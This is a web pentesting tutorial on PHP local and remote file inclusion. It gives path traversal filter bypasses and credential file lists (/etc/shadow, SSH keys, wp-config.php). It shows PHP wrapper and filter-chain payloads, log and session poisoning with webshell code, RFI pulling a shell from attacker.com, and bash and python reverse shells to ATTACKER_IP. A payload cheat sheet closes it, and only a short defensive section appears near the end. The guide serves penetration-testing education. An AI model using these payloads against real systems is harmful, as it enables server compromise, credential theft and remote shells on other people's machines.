File inclusion vulnerabilities are deceptively simple on the surface — you trick an application into loading a file it shouldn’t. But the exploitation paths they open up range from sensitive data disclosure all the way to full remote code execution. Log poisoning, PHP filter chains, session file injection, null byte tricks — this vulnerability class has more depth than most.

If you’re doing web app pentesting or bug bounty hunting in 2026, you’ll encounter file inclusion regularly. PHP applications are the most common target, but the patterns appear in other languages too. This guide covers LFI and RFI from first principles through advanced exploitation.


What Is File Inclusion?

File inclusion occurs when a web application dynamically loads a file based on user-controlled input, without properly validating what file gets loaded.

The fundamental pattern:

// Vulnerable PHP code
$page = $_GET['page'];
include($page);

A legitimate request:

GET /index.php?page=about.php

An attacker’s request:

GET /index.php?page=/etc/passwd

The server reads /etc/passwd and includes its contents in the response. That’s Local File Inclusion (LFI) in its most basic form.

There are two variants:

TypeWhat It DoesCode Execution?
LFI (Local File Inclusion)Reads files already on the serverPossible via log poisoning, PHP filters
RFI (Remote File Inclusion)Loads and executes a file from a remote URLDirect — fetch your shell and run it

RFI is more dangerous but less common — modern PHP configurations disable allow_url_include by default. LFI is far more prevalent and still leads to RCE in the right conditions.


Why File Inclusion Still Exists in 2026

Legacy PHP code is everywhere. Content management systems, admin panels, e-commerce platforms, and internal tools built before modern frameworks became standard all used dynamic file loading as a convenience feature.

Theme/template switching:

include('themes/' . $_GET['theme'] . '/header.php');

Language selection:

include('lang/' . $_COOKIE['language'] . '.php');

Modular page loading:

include('modules/' . $_POST['module'] . '.php');

These patterns felt natural when written. They’re also a direct injection point for anyone who looks.

Beyond PHP, file inclusion patterns appear in:

  • Python applications using open() with user-controlled paths
  • Node.js with fs.readFile() on dynamic paths
  • Java applications loading resource files
  • Any language where file paths are constructed from user input

Detecting File Inclusion Vulnerabilities

Manual Testing

Look for parameters that look like they load files or modules:

?page=home
?file=report.pdf
?template=default
?module=contact
?lang=en
?include=header
?path=../config

Test with a known file:

# Linux targets
?page=/etc/passwd
?page=../../../../etc/passwd
?page=/etc/hosts
?page=/proc/self/environ

# Windows targets
?page=C:\Windows\win.ini
?page=C:/Windows/System32/drivers/etc/hosts
?page=../../../../Windows/win.ini

A successful LFI returns file contents in the response — either displayed directly or embedded in the page HTML.

Fuzzing with Wordlists

Use a dedicated LFI wordlist:

# With ffuf
ffuf -u "https://target.com/index.php?page=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -fs 1234  # filter by response size to hide baseline

# With wfuzz
wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  --hh 1234 \
  "https://target.com/index.php?page=FUZZ"

SecLists has excellent LFI wordlists under Fuzzing/LFI/. The Jhaddix list covers hundreds of path traversal variations and common sensitive files.

Automated Scanning

# Nuclei has LFI templates
nuclei -u https://target.com -t /path/to/nuclei-templates/vulnerabilities/generic/lfi-linux.yaml

# SQLmap doesn't cover LFI, but Burp Scanner detects it well
# In Burp: right-click request → Scan → Active scan

Path Traversal — The Core Technique

Most file inclusion defenses are input filters. Attackers bypass them with path traversal sequences.

Basic Traversal

Navigate up the directory tree to reach arbitrary files:

../../../../etc/passwd
../../../etc/shadow
../../../../../../etc/hosts

How many ../ do you need? It depends on the web root depth. Start with 4–6 and work down. PHP will stop at the filesystem root even if you overshoot:

../../../../../../../../../../../../etc/passwd

This works even if there aren’t 12 directory levels to traverse — extra ../ from root are silently ignored.

Filter Bypass Techniques

Developers add filters. Here’s how to bypass them.

Filter: removes ../

# Double encoding
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

# URL encoding
..%252F..%252F..%252Fetc%252Fpasswd

# Mixed encoding
..%2f..%2f..%2fetc/passwd

# Nested traversal (filter removes ../ once, leaving ../)
....//....//....//etc/passwd
..././..././..././etc/passwd

Filter: prepends a fixed path

include('/var/www/html/' . $_GET['page']);

Path traversal still works:

../../etc/passwd
# Resolves to: /var/www/html/../../etc/passwd → /var/etc/passwd  (wrong)
# Correct depth:
../../../etc/passwd
# Resolves to: /var/www/html/../../../etc/passwd → /etc/passwd

Filter: checks if path starts with a specific string

/var/www/html/../../../../etc/passwd

The check passes (starts with the expected prefix), traversal still works.

Filter: blocks null bytes (older PHP versions)

Older PHP (< 5.3.4) truncated strings at null bytes:

/etc/passwd%00
../../../../etc/passwd%00.php

The .php extension check passes, but null byte truncates it to /etc/passwd. This is patched in modern PHP but still useful on legacy systems.

Filter: requires .php extension

include($_GET['page'] . '.php');

Modern PHP bypass — use PHP wrappers instead (covered below).


LFI — Sensitive Files to Target

Once you confirm LFI, read high-value files.

Linux Targets

# User and credential data
/etc/passwd          # User accounts
/etc/shadow          # Password hashes (usually requires root)
/etc/group           # Group memberships
/home/user/.ssh/id_rsa       # SSH private keys
/root/.ssh/id_rsa            # Root SSH key
/home/user/.bash_history     # Command history
/root/.bash_history

# Application configs
/var/www/html/config.php     # Web app database creds
/var/www/html/.env           # Laravel/Node.js env vars
/var/www/html/wp-config.php  # WordPress credentials
/etc/apache2/sites-enabled/000-default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default

# System info
/proc/self/environ   # Environment variables (including HTTP headers)
/proc/self/cmdline   # Current process command line
/proc/self/status    # Process status
/proc/version        # Kernel version
/proc/net/tcp        # TCP connections (can reveal internal services)

# Logs (useful for log poisoning)
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/var/log/syslog

# Session files
/var/lib/php/sessions/
/tmp/sess_<sessionid>

Windows Targets

# System files
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\services
C:\Windows\repair\sam     # SAM database (usually locked)

# Application configs
C:\xampp\htdocs\config.php
C:\inetpub\wwwroot\web.config
C:\Apache24\conf\httpd.conf

# IIS logs
C:\inetpub\logs\LogFiles\W3SVC1\

# Windows credential stores
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM

PHP Wrappers — LFI on Steroids

PHP wrappers transform what LFI can do. They’re enabled by default and bypass many extension restrictions.

php://filter — Read Source Code

The most useful wrapper. Reads PHP source files without executing them:

?page=php://filter/convert.base64-encode/resource=config.php

The server returns base64-encoded source code. Decode it:

echo "PD9waHAK..." | base64 -d

Now you have the raw PHP source — credentials, API keys, internal logic.

Common filter variations:

# Base64 encode (most reliable)
php://filter/convert.base64-encode/resource=index.php

# No encoding (may break if PHP processes the included file)
php://filter/resource=config.php

# Multiple filters chained
php://filter/read=string.rot13/convert.base64-encode/resource=config.php

# Read arbitrary files (not just PHP)
php://filter/convert.base64-encode/resource=/etc/passwd

php://input — RCE via POST

If allow_url_include is on (rare in 2026 but exists on legacy systems):

curl -X POST "https://target.com/index.php?page=php://input" \
  -d '<?php system($_GET["cmd"]); ?>'

Then:

GET /index.php?page=php://input&cmd=id

data:// Wrapper

Another approach when allow_url_include is on:

?page=data://text/plain,<?php system('id'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

expect:// Wrapper

Direct command execution if the expect extension is loaded (uncommon):

?page=expect://id
?page=expect://whoami

LFI to RCE — Log Poisoning

No allow_url_include? No problem. Log poisoning turns LFI into RCE by writing PHP code to a log file, then including it.

Apache/Nginx Access Log Poisoning

Step 1: Inject PHP code into the User-Agent header:

curl -s "https://target.com/" \
  -H 'User-Agent: <?php system($_GET["cmd"]); ?>'

The web server writes this to its access log. The PHP code is now sitting in /var/log/apache2/access.log.

Step 2: Include the log file via LFI:

GET /index.php?page=/var/log/apache2/access.log&cmd=id

The PHP interpreter executes the code from the log. You have RCE.

Common log locations:

/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log
/proc/self/fd/1    # stdout (Apache)
/proc/self/fd/2    # stderr

Tips:

  • Log files can get large. The PHP code gets appended with every request — keep it short.
  • If the log is unreadable due to permissions, try /proc/self/fd/ file descriptors.
  • SSH auth log also works if you can control the username: ssh '<?php system($_GET["cmd"]); ?>'@target.com

SSH Auth Log Poisoning

# Inject PHP into the auth log via SSH username
ssh '<?php system($_GET["cmd"]); ?>'@target.com

# Then include the auth log
GET /index.php?page=/var/log/auth.log&cmd=id

The failed authentication attempt logs the PHP code in the username field.

PHP Session File Poisoning

Step 1: Find or set a session. The session ID is in your PHPSESSID cookie.

Step 2: Find a parameter that gets stored in the session:

GET /index.php?lang=<?php system($_GET["cmd"]); ?>

If lang is saved to the session, the PHP code is now in /var/lib/php/sessions/sess_<your_session_id>.

Step 3: Include the session file:

GET /index.php?page=/var/lib/php/sessions/sess_abc123&cmd=id

Session files are readable by the web process. Clean and reliable when it works.


PHP Filter Chains — LFI to RCE Without a File

This technique doesn’t require any writable file. It generates PHP code purely through chained PHP filter transformations.

The concept: chain multiple PHP filters in sequence to produce arbitrary PHP code from an empty string.

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|...|/resource=php://temp

The chain is complex and requires tooling to generate correctly. Use php_filter_chain_generator:

git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator

# Generate a chain that executes system('id')
python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

Copy the output and use it as your page parameter:

GET /index.php?page=php://filter/convert.iconv.UTF8...[long chain]...&cmd=id

This works on modern PHP with no allow_url_include, no writable files, and no logs — just LFI and PHP filters. It’s a significant technique for otherwise-stuck LFI situations.


Remote File Inclusion (RFI)

When allow_url_include = On is configured (legacy PHP, some misconfigured setups), you can include files from remote URLs.

Setup

Attacker machine — serve a PHP shell:

# Create a simple webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

# Serve it
cd /tmp && python3 -m http.server 8000
# or: php -S 0.0.0.0:8000

Exploit:

GET /index.php?page=http://attacker.com:8000/shell.php&cmd=id

The server fetches your PHP file, executes it, and returns the output.

RFI Bypass Techniques

Filter: blocks http://

# Use HTTPS
?page=https://attacker.com/shell.php

# FTP (if allow_url_fopen is on)
?page=ftp://attacker.com/shell.php

# Double URL encode
?page=http%3A%2F%2Fattacker.com%2Fshell.php

# Null byte (older PHP)
?page=http://attacker.com/shell.php%00

Check if RFI is enabled:

# Set up a listener, then try to include your IP
# If you get a hit, RFI is enabled
?page=http://your-ip/test.php

Escalating LFI to a Reverse Shell

Once you have code execution via any LFI technique, pivot to a full reverse shell.

Listener on attacker machine:

nc -lvnp 4444
# or: rlwrap nc -lvnp 4444

Reverse shell payload (URL-encoded for the cmd parameter):

# Bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

# URL-encoded version
bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'

# Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Curl it:

curl -s "https://target.com/index.php?page=/var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.1.100/4444+0>%261'"

Real-World Exploitation Scenarios

Scenario 1: WordPress Theme File Inclusion

Legacy WordPress installations sometimes have vulnerable theme or plugin code:

# Test parameter
GET /wp-content/themes/custom/page.php?template=contact

# LFI attempt
GET /wp-content/themes/custom/page.php?template=../../../wp-config.php

wp-config.php contains the database credentials. From there: database access → admin password hash → crack or reset → WordPress admin → PHP execution via theme editor.

Scenario 2: Language Selection Feature

<?php
$lang = $_GET['lang'] ?? 'en';
include('languages/' . $lang . '.php');
?>

Path traversal bypasses the languages/ prefix:

?lang=../../../../../../etc/passwd

Use php://filter to read source code:

?lang=../../config%00    # null byte if PHP < 5.3.4
?lang=php://filter/convert.base64-encode/resource=../../config

Scenario 3: Log Poisoning to Webshell

  1. Confirm LFI with /etc/passwd
  2. Check log readability: ?page=/var/log/nginx/access.log
  3. Inject payload: curl -H 'User-Agent: <?php @eval($_POST["x"]); ?>' https://target.com/
  4. Include log and POST commands: page=/var/log/nginx/access.log with POST body x=system('whoami');
  5. Upgrade to full reverse shell

Detecting LFI with Burp Suite

Set up a Burp Suite scanner for file inclusion testing.

Manual testing approach:

  1. Intercept all requests in Burp Proxy
  2. Send to Intruder
  3. Mark the parameter value as a payload position
  4. Load a LFI wordlist (/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt)
  5. Filter by response length — anomalies indicate inclusion

Burp Active Scanner:

Burp’s scanner includes file path traversal detection. Run it against any parameter that looks like a file path.

Manual grep for success indicators:

# Linux — look for passwd format
root:x:0:0:

# Windows — look for INI format
; for 16-bit app support
[fonts]

Want to level up your web app testing workflow? A dedicated VPS keeps your tools and listeners running 24/7 without burning your local bandwidth. Vultr and DigitalOcean both work well — a $6/month instance is enough for most engagements.


Defensive Countermeasures

Understanding defense sharpens your offense. Here’s what secure implementations look like.

Allowlist, don’t blocklist:

// Vulnerable — blocklist
$page = str_replace('../', '', $_GET['page']);

// Secure — allowlist
$allowed = ['home', 'about', 'contact', 'services'];
$page = $_GET['page'];
if (!in_array($page, $allowed)) {
    $page = 'home';
}
include('pages/' . $page . '.php');

Use realpath() and check the prefix:

$base = realpath('/var/www/html/pages/');
$requested = realpath($base . '/' . $_GET['page']);
if ($requested === false || strpos($requested, $base) !== 0) {
    die('Invalid file');
}
include($requested);

PHP configuration (php.ini):

allow_url_include = Off    ; Default Off — RFI prevention
allow_url_fopen = Off      ; Disable if not needed
open_basedir = /var/www/html   ; Restrict file access to web root

Disable dangerous PHP functions:

disable_functions = system, exec, passthru, shell_exec, popen, proc_open

File Inclusion in Bug Bounty Programs

LFI findings range from P4 (low) to P1 (critical) depending on what you can demonstrate.

P4/P3: Path disclosure, non-sensitive file read P2: Sensitive file read (credentials, source code, private keys) P1: RCE via log poisoning, PHP wrappers, or filter chains

How to write a strong LFI report:

  1. Show the vulnerable parameter and exact request
  2. Demonstrate what sensitive data you accessed (redact after PoC)
  3. If you escalated to RCE: show the full chain
  4. Include business impact — credentials → database access → customer data?

Don’t stop at /etc/passwd. That’s a P4. Follow the chain: /etc/passwd → discover usernames → /home/user/.ssh/id_rsa → SSH access → that’s a P1.


Quick Reference: LFI Payload Cheatsheet

# Basic traversal
../../../../etc/passwd
../../../../etc/shadow
../../../../etc/hosts

# Bypass filters
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
..%252F..%252F..%252Fetc%252Fpasswd

# PHP wrappers
php://filter/convert.base64-encode/resource=config.php
php://filter/convert.base64-encode/resource=/etc/passwd
php://input  (POST: <?php system($_GET["cmd"]); ?>)
data://text/plain,<?php system('id'); ?>

# Log files
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log
/proc/self/environ

# Session files
/var/lib/php/sessions/sess_SESSIONID
/tmp/sess_SESSIONID

# Windows paths
C:\Windows\win.ini
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\inetpub\wwwroot\web.config

What’s Next in the Web App Pentesting Series

This guide is part of the RedTeamGuide.com web application security series:


Need Your Red Team Report Written?

Exploited file inclusion and need a deliverable that actually lands with the client? CipherWrite handles red team reports, pentest write-ups, and technical documentation — structured for both technical readers and executives. Turnaround in 3–5 business days.